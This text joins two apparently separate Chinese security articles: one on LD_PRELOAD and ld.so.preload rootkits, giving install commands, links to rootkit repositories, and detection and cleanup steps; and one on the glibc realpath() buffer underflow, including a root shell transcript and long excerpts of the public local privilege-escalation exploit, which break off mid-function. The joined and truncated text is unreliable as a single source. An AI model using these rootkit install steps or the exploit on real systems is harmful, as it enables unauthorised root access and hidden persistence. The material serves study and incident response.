https://github.com/mempodippy/vlany 修改动态链接器rootkit

 

https://github.com/mempodippy/cub3 用于预加载的恶意动态链接库

一、动态链接库预加载型rootkit概述

动态链接库预加载机制是系统提供给用户运行自定义动态链接库的一种方式,在可执行程序运行之前就会预先加载用户定义的动态链接库的一种技术,这种技术可以重写系统的库函数,只需要在预加载的链接库中重新定义相同名称的库函数,程序调用库函数时,重新定义的函数即会短路正常的库函数,这种技术可以用来重写系统中有漏洞的库函数,达到修复漏洞的目的,如get_host_byname导致ghost漏洞的这类函数。这种技术也可以被不怀好意的攻击者用来写rootkit,通过重写mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64等和系统文件,网络,进程相关的库函数来达到隐藏文件,进程的目的。相对于普通的用户空间rootkit而言,手段更加隐蔽,更加难以被发现,相对于内核模块rootkit来说,兼容性更好,编写难度更低,综合这两种优点,使得这类型rootkit逐年增多,难以查杀。

 

二、动态链接库预加载型rootkit所用技术

应用程序执行流程.png

2.1 linux动态链接库预加载机制

在linux操作系统的动态链接库加载过程中,动态链接器会读取LD_PRELOAD环境变量的值和默认配置文件/etc/ld.so.preload的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。

2.2 全局符号介入

全局符号介入指的是应用程序调用库函数时,调用的库函数如果在多个动态链接库中都存在,即存在同名函数,那么链接器只会保留第一个链接的函数,而忽略后面链接进来的函数,所以只要预加载的全局符号中有和后加载的普通共享库中全局符号重名,那么就会覆盖后装载的共享库以及目标文件里的全局符号。

2.3 rootkit利用的技术点

因为动态链接库预加载机制和全局符号介入这两种系统机制,可以控制程序运行时的链接(Runtime linker),允许用户在程序运行前优先加载定义的动态链接库,使得恶意动态链接库优先于正常动态链接库加载,根据全局符号介入的顺序原理短路正常函数,执行攻击者定义的恶意函数


 利用点.png

从上图中我们可以看到3种利用方式:

1. 将恶意动态链接库通过LD_PRELOAD环境变量进行加载。

2. 将恶意动态链接库通过/etc/ld.so.preload配置文件进行加载。

3. 修改动态链接器来实现恶意功能,例如修改动态链接器中默认的用于预加载的配置文件路径/etc/ld.so.preload为攻击者自定义路径,然后在里面写入要加载的恶意动态链接库,当然修改的姿势还有很多,如修改默认环境变量,直接将要hook的动态链接库写入到动态链接器当中。

 

三、动态链接库预加载型rootkit

3.1 利用LD_PRELOAD加载恶意动态链接库

3.1.1 安装

LD_PRELOAD环境变量是会及时生效的,使用LD_PRELOAD加载恶意动态链接库方法如下:

LD_PRELOAD=/lib/evil.so LD_PRELOAD的值设置为要预加载的动态链接库

export LD_PRELOAD 导出环境变量使该环境变量生效

unset LD_PRELOAD 解除设置的LD_PRELOAD环境变量

测试使用的rootkit下载地址https://github.com/mempodippy/cub3

LD_PRELOAD示例.png

3.1.2 检测

直接打印出LD_PRELOAD的值(默认LD_PRELOAD环境变量无值),如果LD_PRELOAD中有值,则将该文件上传到virustotal或微步在线等恶意软件检测平台检测该文件是否正常,或者用自制的特征进行匹配或者人工strings或者用ida看一下,即可判断出是否是恶意程序。

图片9.png

3.1.3 清除

   使用命令unset LD_PRELOAD即可实现卸载使用LD_PRELOAD环境变量安装的恶意动态链接库。如下图,可以看到被隐藏的文件evil.so显示出来了。

图片1.png

 

3.2 利用/etc/ld.so.preload加载恶意动态链接库

3.2.1 安装

将恶意动态链接库路径写入/etc/ld.so.preload(没有则创建)配置文件中,如下图所示将恶意动态链接库路径写入/etc/ld.so.preload文件中即生效,对应的恶意动态链接库文件被隐藏

图片2.png

3.2.2 检测

因为恶意动态链接库一般都有隐藏/etc/ld.so.preload文件的功能,我们使用普通的ls,cat等命令无法读取对应配置文件的内容,此时我们可以使用静态编译的ls命令,cat命令(推荐使用busybox自带命令)来绕过预加载的恶意动态链接库,如果没有ls命令cat命令,有时候将ls命令和cat命令改成其他任意字符也可以绕过恶意动态链接库的隐藏,主要得看恶意动态链接库具体实现方式。

如下图,通过使用普通的cat命令和busybox中的cat命令查看/etc/ld.so.preload文件内容对比,即可判断出是否有通过/etc/ld.so.preload配置文件加载的恶意动态链接库。

图片3.png

3.2.3 清除

因为恶意动态链接库具有隐藏文件的功能,所以清除时需要使用静态编译的基础命令来进行对应操作,清除过程如下所示

首先清除上方/etc/ld.so.preload文件中查看到的/lib/evil.so文件,使其无法正常预加载,然后清除/etc/ld.so.preload中的恶意文件内容,有的恶意动态链接库会修改该文件的隐藏权限,以及普通的读写权限,所以需要看一下,然后再清除,到此为止即清除成功。(因为我这里以前就没有配置预加载的库,所以直接清空,如果你们有业务配置了预加载的库则需要清除特定行,而不是直接清空)

图片4.png

 

3.3 修改动态链接器来实现恶意功能

3.3.1 安装

修改动态链接器实现恶意功能目的有多种方法,这里使用替换动态链接器中的默认预加载配置文件/etc/ld.so.preload路径的rootkit,来实现更加隐蔽的恶意动态链接库预加载,安装的方法是修改动态链接器中配置文件路径/etc/ld.so.preload为自定义的路径,然后再在该路径中写入要预加载的恶意动态链接库的绝对路径。测试使用的恶意rootkit名称为Vlany,下载地址为https://github.com/mempodippy/vlany

3.3.2 检测

修改默认动态链接器来达到实现恶意功能的目的会破坏原有动态链接器的完整性,我们可以使用文件完整性检查来检查该动态链接器是否被修改

首先获取系统中的动态链接器的文件路径,然后判断该动态链接器文件的完整性。这里测试系统是centos,自带rpm校验功能,下图中的5指的是文件的md5发生了改变,T指的是修改时间发生了改变。

图片5.png

    如果知道了动态链接器被修改过,(排除系统升级导致)那么可以判断动态链接器存在较高的安全风险,我们需要对该修改进行进一步确认,如果攻击者修改动态链接器但是实现恶意功能的方式不是修改了预加载配置文件,而是修改了默认的环境变量,或者直接根据开源代码将恶意功能植入动态链接器然后重新编译生成的恶意动态链接器,那么下面的检测方法可能是无效的,需要视情况分析。

 使用strace命令来查看预加载的配置文件是不是/etc/ld.so.preload文件,如下图,动态链接库预加载的配置文件是/sbin/.XsknPn3F而不是原有的配置文件,我们即可确认系统中存在修改动态链接器的rootkit

图片6.png

使用busybox自带的cat命令查看该文件,因为使用正常cat命令无法查看该文件,被预加载的库函数给隐藏了

图片7.png

图片8.png

3.3.3 清除

    清除修改动态链接器的rootkit,需要使用相同系统的相同版本动态链接器替换被修改了的动态链接器,才能达到彻底清除的目的,暂时缓解的方式则是将上方检测过程中看到的恶意动态链接库删除,以及将对应的动态链接库配置文件中的内容清除。

四、通用检测方法总结

根据动态链接库预加载机制可知,预加载型恶意动态链接库只对需要使用动态库函数的程序有效,恶意动态链接库基本功能隐藏文件,根据隐藏文件功能的特点,所以我们检测的思路是应用程序尽量不使用动态库,即可绕过这个文件隐藏的功能

交叉试图:使用普通ls命令对特定目录下文件进行查看,使用静态编译的基础命令来对特定目录文件进行查看,必看文件/etc/ld.so.preload经典目录/lib/判断是否有隐藏文件,应急响应时推荐使用busybox,或者自己静态编译的ls等命令

动态链接库预加载机制会读取预加载配置文件内容,然后加载配置文件中对应的动态链接库,根据这一特性,可以通过跟踪常用命令执行过程中加载的文件,来判断是否存在恶意动态链接库。

 

strace文件跟踪:可执行程序运行时,首先会访问动态链接库预加载配置文件,然后读取对应配置文件中的动态库,并预先加载,然后再去加载正常所需链接库,通过跟踪系统/bin/ls打开的相关文件,即可找到预加载配置文件以及被预加载的动态链接库,如果恶意动态链接库有反strace措施,可以修改strace名称或使用LD_PRELOAD环境变量预先加载一个无关动态链接库,然后再strace进行跟踪,可以绕过恶意动态链接库的根据可执行程序名称检测的反strace措施。

文件完整性检查:部分攻击者通过修改动态链接器的方式实现恶意功能的目的,但这种做法会破环动态链接器的完整性,通过检测动态链接器的完整性即可检测出修改动态链接器型rootkit。

五、引用

 

https://github.com/mempodippy/vlany 修改动态链接器rootkit

 

https://github.com/mempodippy/cub3 用于预加载的恶意动态链接库

0×00 漏洞描述

该漏洞涉及到 Linux 内核的 getcwd 系统调用和 glibc 的 realpath() 函数,可以实现本地提权。漏洞产生的原因是 getcwd 系统调用在 Linux-2.6.36 版本发生的一些变化,我们知道 getcwd 用于返回当前工作目录的绝对路径,但如果当前目录不属于当前进程的根目录,即从当前根目录不能访问到该目录,如该进程使用 chroot() 设置了一个新的文件系统根目录,但没有将当前目录的根目录替换成新目录的时候,getcwd 会在返回的路径前加上 (unreachable)。通过改变当前目录到另一个挂载的用户空间,普通用户也可以完成这样的操作。然后返回的这个非绝对地址的字符串会在 realpath() 函数中发生缓冲区下溢,从而导致任意代码执行,再利用 SUID 程序即可获得目标系统上的 root 权限。

0×01 漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 16.04 体系结构:64 位
调试器 gdb-peda 版本号:7.11.1
漏洞软件 glibc 版本号:2.23-0ubuntu9

漏洞发现者已经公开了漏洞利用代码,需要注意的是其所支持的系统被硬编码进了利用代码中,可看情况进行修改。exp


$ gcc -g exp.c
$ id
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls -l a.out
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out
$ ./a.out
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
# ls -l a.out
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out

过程是先利用漏洞将可执行程序自己变成一个 SUID 程序,然后执行该程序即可从普通用户提权到 root 用户。

0×02 漏洞分析

getcwd() 的原型如下:


#include <unistd.h>

char *getcwd(char *buf, size_t size);

它用于得到一个以 null 结尾的字符串,内容是当前进程的当前工作目录的绝对路径。并以保存到参数 buf 中的形式返回。

首先从 Linux 内核方面来看,在 2.6.36 版本的 vfs: show unreachable paths in getcwd and proc 这次提交,使得当目录不可到达时,会在返回的目录字符串前面加上 (unreachable)


// fs/dcache.c

static int prepend_unreachable(char **buffer, int *buflen)
{
return prepend(buffer, buflen, "(unreachable)", 13);
}

static int prepend(char **buffer, int *buflen, const char *str, int namelen)
{
*buflen -= namelen;
if (*buflen < 0)
return -ENAMETOOLONG;
*buffer -= namelen;
memcpy(*buffer, str, namelen);
return 0;
}

/*
* NOTE! The user-level library version returns a
* character pointer. The kernel system call just
* returns the length of the buffer filled (which
* includes the ending '\0' character), or a negative
* error value. So libc would do something like
*
* char *getcwd(char * buf, size_t size)
* {
* int retval;
*
* retval = sys_getcwd(buf, size);
* if (retval >= 0)
* return buf;
* errno = -retval;
* return NULL;
* }
*/
SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)
{
int error;
struct path pwd, root;
char *page = __getname();

if (!page)
return -ENOMEM;

rcu_read_lock();
get_fs_root_and_pwd_rcu(current->fs, &root, &pwd);

error = -ENOENT;
if (!d_unlinked(pwd.dentry)) {
unsigned long len;
char *cwd = page + PATH_MAX;
int buflen = PATH_MAX;

prepend(&cwd, &buflen, "\0", 1);
error = prepend_path(&pwd, &root, &cwd, &buflen);
rcu_read_unlock();

if (error < 0)
goto out;

/* Unreachable from current root */
if (error > 0) {
error = prepend_unreachable(&cwd, &buflen); // 当路径不可到达时,添加前缀
if (error)
goto out;
}

error = -ERANGE;
len = PATH_MAX + page - cwd;
if (len <= size) {
error = len;
if (copy_to_user(buf, cwd, len))
error = -EFAULT;
}
} else {
rcu_read_unlock();
}

out:
__putname(page);
return error;
}

可以看到在引进了 unreachable 这种情况后,仅仅判断返回值大于零是不够的,它并不能很好地区分开究竟是绝对路径还是不可到达路径。然而很可惜的是,glibc 就是这样做的,它默认了返回的 buf 就是绝对地址。当然也是由于历史原因,在修订 getcwd 系统调用之前,glibc 中的 getcwd() 库函数就已经写好了,于是遗留下了这个不匹配的问题。

从 glibc 方面来看,由于它仍然假设 getcwd 将返回绝对地址,所以在函数 realpath() 中,仅仅依靠 name[0] != '/' 就断定参数是一个相对路径,而忽略了以 ( 开头的不可到达路径。

__realpath() 用于将 path 所指向的相对路径转换成绝对路径,其间会将所有的符号链接展开并解析 /.//../ 和多余的 /。然后存放到 resolved_path 指向的地址中,具体实现如下:


// stdlib/canonicalize.c

char *
__realpath (const char *name, char *resolved)
{
[...]
 if (name[0] != '/')   // 判断是否为绝对路径
  {
     if (!__getcwd (rpath, path_max))  // 调用 getcwd() 函数
{
 rpath[0] = '\0';
 goto error;
}
     dest = __rawmemchr (rpath, '\0');
  }
 else
  {
     rpath[0] = '/';
     dest = rpath + 1;
  }

 for (start = end = name; *start; start = end) // 每次循环处理路径中的一段
  {
    [...]
     /* Find end of path component. */
     for (end = start; *end && *end != '/'; ++end) // end 标记一段路径的末尾
/* Nothing. */;

     if (end - start == 0)
break;
     else if (end - start == 1 && start[0] == '.') // 当路径为 "." 的情况时
/* nothing */;
     else if (end - start == 2 && start[0] == '.' && start[1] == '.')  // 当路径为 ".." 的情况时
{
 /* Back up to previous component, ignore if at root already. */
 if (dest > rpath + 1)
   while ((--dest)[-1] != '/');    // 回溯,如果 rpath 中没有 '/',发生下溢出
}
     else  // 路径组成中没有 "." 和 ".." 的情况时,复制 name 到 dest
{
 size_t new_size;

 if (dest[-1] != '/')
   *dest++ = '/';
        [...]
}
  }
}

当传入的 name 不是一个绝对路径,比如 ../../xrealpath() 将会使用当前工作目录来进行解析,而且默认了它以 / 开头。解析过程是从后先前进行的,当遇到 ../ 的时候,就会跳到前一个 /,但这里存在一个问题,没有对缓冲区边界进行检查,如果缓冲区不是以 / 开头,则函数会越过缓冲区,发生溢出。所以当 getcwd 返回的是一个不可到达路径 (unreachable)/ 时,../../x 的第二个 ../ 就已经越过了缓冲区,然后 x 会被复制到这个越界的地址处。

0×03 补丁

漏洞发现者也给出了它自己的补丁,在发生溢出的地方加了一个判断,当 dest == rpath 的时候,如果 *dest != '/',则说明该路径不是以 / 开头,便触发报错。


--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000
+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000
@@ -91,6 +91,11 @@
goto error;
}
      dest = __rawmemchr (rpath, '\0');
+/* If path is empty, kernel failed in some ugly way. Realpath
+has no error code for that, so die here. Otherwise search later
+on would cause an underrun when getcwd() returns an empty string.
+Thanks Willy Tarreau for pointing that out. */
+     assert (dest != rpath);
    }
  else
    {
@@ -118,8 +123,17 @@
      else if (end - start == 2 && start[0] == '.' && start[1] == '.')
{
/* Back up to previous component, ignore if at root already. */
- if (dest > rpath + 1)
-   while ((--dest)[-1] != '/');
+ dest--;
+ while ((dest != rpath) && (*--dest != '/'));
+ if ((dest == rpath) && (*dest != '/') {
+   /* Return EACCES to stay compliant to current documentation:
+   "Read or search permission was denied for a component of the
+   path prefix." Unreachable root directories should not be
+   accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */
+   __set_errno (EACCES);
+   goto error;
+ }
+ dest++;
}
      else
{

但这种方案似乎并没有被合并。

最终采用的方案是直接从源头来解决,对 getcwd() 返回的路径 path 进行检查,如果确定 path[0] == '/',说明是绝对路径,返回。否则转到 generic_getcwd()(内部函数,源码里看不到)进行处理:


$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
index f545106289..866b9d26d5 100644
--- a/sysdeps/unix/sysv/linux/getcwd.c
+++ b/sysdeps/unix/sysv/linux/getcwd.c
@@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size)
  int retval;

  retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);
- if (retval >= 0)
+ if (retval > 0 && path[0] == '/')
    {
#ifndef NO_ALLOCATION
      if (buf == NULL && size == 0)
@@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size)
      return buf;
    }

- /* The system call cannot handle paths longer than a page.
-     Neither can the magic symlink in /proc/self. Just use the
+ /* The system call either cannot handle paths longer than a page
+     or can succeed without returning an absolute path. Just use the
    generic implementation right away. */
- if (errno == ENAMETOOLONG)
+ if (retval >= 0 || errno == ENAMETOOLONG)
    {
#ifndef NO_ALLOCATION
      if (buf == NULL && size == 0)

0×04 Exploit

umount 包含在 util-linux 中,为方便调试,我们重新编译安装一下:


$ sudo apt-get install dpkg-dev automake
$ sudo apt-get source util-linux
$ cd util-linux-2.27.1
$ ./configure
$ make && sudo make install
$ file /bin/umount
/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped

exp 主要分成两个部分:


int main(int argc, char **argv) {
[...]
 pid_t nsPid=prepareNamespacedProcess();
 while(excalateCurrentAttempt<escalateMaxAttempts) {
  [...]
   attemptEscalation();

  [...]
   if(statBuf.st_uid==0) {
     fprintf(stderr, "Executable now root-owned\n");
     goto escalateOk;
  }
}

preReturnCleanup:
[...]
 if(!exitStatus) {
   fprintf(stderr, "Cleanup completed, re-invoking binary\n");
   invokeShell("/proc/self/exe");
   exitStatus=1;
}

escalateOk:
 exitStatus=0;
 goto preReturnCleanup;
}
  • prepareNamespacedProcess():准备一个运行在自己 mount namespace 的进程,并设置好适当的挂载结构。该进程允许程序在结束时可以清除它,从而删除 namespace。

  • attemptEscalation():调用 umount 来获得 root 权限。

简单地说一下 mount namespace,它用于隔离文件系统的挂载点,使得不同的 mount namespace 拥有自己独立的不会互相影响的挂载点信息,当前进程所在的 mount namespace 里的所有挂载信息在 /proc/[pid]/mounts/proc/[pid]/mountinfo/proc/[pid]/mountstats 里面。每个 mount namespace 都拥有一份自己的挂载点列表,当用 clone 或者 unshare 函数创建了新的 mount namespace 时,新创建的 namespace 会复制走一份原来 namespace 里的挂载点列表,但从这之后,两个 namespace 就没有关系了。

首先为了提权,我们需要一个 SUID 程序,mount 和 umount 是比较好的选择,因为它们都依赖于 realpath() 来解析路径,而且能被所有用户使用。其中 umount 又最理想,因为它一次运行可以操作多个挂载点,从而可以多次触发到漏洞代码。

由于 umount 的 realpath() 的操作发生在堆上,第一步就得考虑怎样去创造一个可重现的堆布局。通过移除可能造成干扰的环境变量,仅保留 locale 即可做到这一点。locale 在 glibc 或者其它需要本地化的程序和库中被用来解析文本(如时间、日期等),它会在 umount 参数解析之前进行初始化,所以会影响到堆的结构和位于 realpath() 函数缓冲区前面的那些低地址的内容。漏洞的利用依赖于单个 locale 的可用性,在标准系统中,libc 提供了一个 /usr/lib/locale/C.UTF-8,它通过环境变量 LC_ALL=C.UTF-8 进行加载。

在 locale 被设置后,缓冲区下溢将覆盖 locale 中用于加载 national language support(NLS) 的字符串中的一个 /,进而将其更改为相对路径。然后,用户控制的 umount 错误信息的翻译将被加载,使用 fprintf() 函数的 %n 格式化字符串,即可对一些内存地址进行写操作。由于 fprintf() 所使用的堆栈布局是固定的,所以可以忽略 ASLR 的影响。于是我们就可以利用该特性覆盖掉 libmnt_context 结构体中的 restricted 字段:


// util-linux/libmount/src/mountP.h
struct libmnt_context
{
int action; /* MNT_ACT_{MOUNT,UMOUNT} */
int restricted; /* root or not? */

char *fstype_pattern; /* for mnt_match_fstype() */
char *optstr_pattern; /* for mnt_match_options() */

[...]
};

在安装文件系统时,挂载点目录的原始内容会被隐藏起来并且不可用,直到被卸载。但是,挂载点目录的所有者和权限没有被隐藏,其中 restricted 标志用于限制堆挂载文件系统的访问。如果我们将该值覆盖,umount 会误以为挂载是从 root 开始的。于是可以通过卸载 root 文件系统做到一个简单的 DoS(如参考文章中所示,可以在Debian下尝试)。

当然我们使用的 Ubuntu16.04 也是在漏洞利用支持范围内的:


static char* osSpecificExploitDataList[]={
// Ubuntu Xenial libc=2.23-0ubuntu9
   "\"16.04.3 LTS (Xenial Xerus)\"",
   "../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
   "_nl_load_locale_from_archive",
   "\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00"
};

prepareNamespacedProcess() 函数如下所示:


static int usernsChildFunction() {
[...]
 int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL); // 将 tmpfs 类型的文件系统 tmpfs 挂载到 /tmp
[...]
}

pid_t prepareNamespacedProcess() {
 if(namespacedProcessPid==-1) {
  [...]
   namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
       CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL); // 调用 clone() 创建进程,新进程执行函数 usernsChildFunction()
  [...]
 char pathBuffer[PATH_MAX];
 int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
    namespacedProcessPid);
 char *namespaceMountBaseDir=strdup(pathBuffer); // /proc/[pid]/cwd 是一个符号连接, 指向进程当前的工作目录

// Create directories needed for umount to proceed to final state
// "not mounted".
 createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); // 在 cwd 目录下递归创建 (unreachable)/x。下同
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
 createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
 createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
 createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

// Create symlink to trigger underflows.
 result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
     namespaceMountBaseDir);
 result=symlink(osReleaseExploitData[1], pathBuffer); // 创建名为 pathBuffer 的符号链接
[...]

// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
     namespaceMountBaseDir, osReleaseExploitData[2]); // 覆盖 "restricted" 标志将赋予 umount 访问已装载文件系统的权限

[...]
 char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
 char *stackDumpStrEnd=stackDumpStr;
 stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
    ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
 for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { // 通过格式化字符串 dump 栈数据,以对抗 ASLR
   memcpy(stackDumpStrEnd, "%016lx", 6);
   stackDumpStrEnd+=6;
}

[...]
 result=writeMessageCatalogue(pathBuffer,
    (char*[]){
         "%s: mountpoint not found",
         "%s: not mounted",
         "%s: target is busy\n       (In some cases useful info about processes that\n         use the device is found by lsof(8) or fuser(1).)"
    },
    (char*[]){"1234", stackDumpStr, "5678"},
     3); // 伪造一个 catalogue,将上面的 stackDumpStr 格式化字符串写进去

[...]
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
     namespaceMountBaseDir, osReleaseExploitData[2]);
 secondPhaseTriggerPipePathname=strdup(pathBuffer); // 创建文件

[...]
 result=snprintf(pathBuffer, sizeof(pathBuffer),
     "%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
     namespaceMountBaseDir, osReleaseExploitData[2]);
 secondPhaseCataloguePathname=strdup(pathBuffer); // 创建文件

 return(namespacedProcessPid); // 返回子进程 ID
}

所创建的各种类型文件如下:


$ find /proc/10173/cwd/ -type d
/proc/10173/cwd/
/proc/10173/cwd/(unreachable)
/proc/10173/cwd/(unreachable)/tmp
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES
/proc/10173/cwd/(unreachable)/x
$ find /proc/10173/cwd/ -type f
/proc/10173/cwd/DATEMSK
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES/util-linux.mo
/proc/10173/cwd/ready
$ find /proc/10173/cwd/ -type l
/proc/10173/cwd/(unreachable)/tmp/down
$ find /proc/10173/cwd/ -type p
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-linux.mo

然后在父进程里可以对子进程进行设置,通过设置 setgroups 为 deny,可以限制在新 namespace 里面调用 setgroups() 函数来设置 groups;通过设置 uid_mapgid_map,可以让子进程设置好挂载点。结果如下:


$ cat /proc/10173/setgroups
deny
$ cat /proc/10173/uid_map
        0       999         1
$ cat /proc/10173/gid_map
        0       999         1

这样准备工作就做好了。进入第二部分 attemptEscalation() 函数:


int attemptEscalation() {
[...]
 pid_t childPid=fork();
 if(!childPid) {
  [...]
   result=chdir(targetCwd); // 改变当前工作目录为 targetCwd

// Create so many environment variables for a kind of "stack spraying".
   int envCount=UMOUNT_ENV_VAR_COUNT;
   char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
   umountEnv[envCount--]=NULL;
   umountEnv[envCount--]="LC_ALL=C.UTF-8";
   while(envCount>=0) {
     umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部
  }
// Invoke umount first by overwriting heap downwards using links
// for "down", then retriggering another error message ("busy")
// with hopefully similar same stack layout for other path "/".
   char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
   result=execve(umountArgs[0], umountArgs, umountEnv);
}
[...]
 int escalationPhase=0;
[...]
 while(1) {
   if(escalationPhase==2) { // 阶段 2 => case 3
     result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
    [...]
     escalationPhase++;
  }

// Wait at most 10 seconds for IO.
   result=poll(pollFdList, 1, 10000);
  [...]
// Perform the IO operations without blocking.
   if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
     result=read(
         pollFdList[0].fd, readBuffer+readDataLength,
         sizeof(readBuffer)-readDataLength);
    [...]
     readDataLength+=result;

// Handle the data depending on escalation phase.
     int moveLength=0;
     switch(escalationPhase) {
       case 0: // Initial sync: read A*8 preamble. // 阶段 0,读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble
        [...]
         char *preambleStart=memmem(readBuffer, readDataLength,
             "AAAAAAAA", 8); // 查找内存,设置 preambleStart
        [...]
// We found, what we are looking for. Start reading the stack.
         escalationPhase++; // 阶段加 1 => case 1
         moveLength=preambleStart-readBuffer+8;
       case 1: // Read the stack. // 阶段 1,利用格式化字符串读出栈数据,计算出 libc 等有用的地址以对付 ASLR
// Consume stack data until or local array is full.
         while(moveLength+16<=readDataLength) { // 读取栈数据直到装满
           result=sscanf(readBuffer+moveLength, "%016lx",
              (int*)(stackData+stackDataBytes));
          [...]
           moveLength+=sizeof(long)*2;
           stackDataBytes+=sizeof(long);
// See if we reached end of stack dump already.
           if(stackDataBytes==sizeof(stackData))
             break;
        }
         if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立,即所有数据已经读完
           break;

// All data read, use it to prepare the content for the next phase.
         fprintf(stderr, "Stack content received, calculating next phase\n");

         int *exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址

// This is the address, where source Pointer is pointing to.
         void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
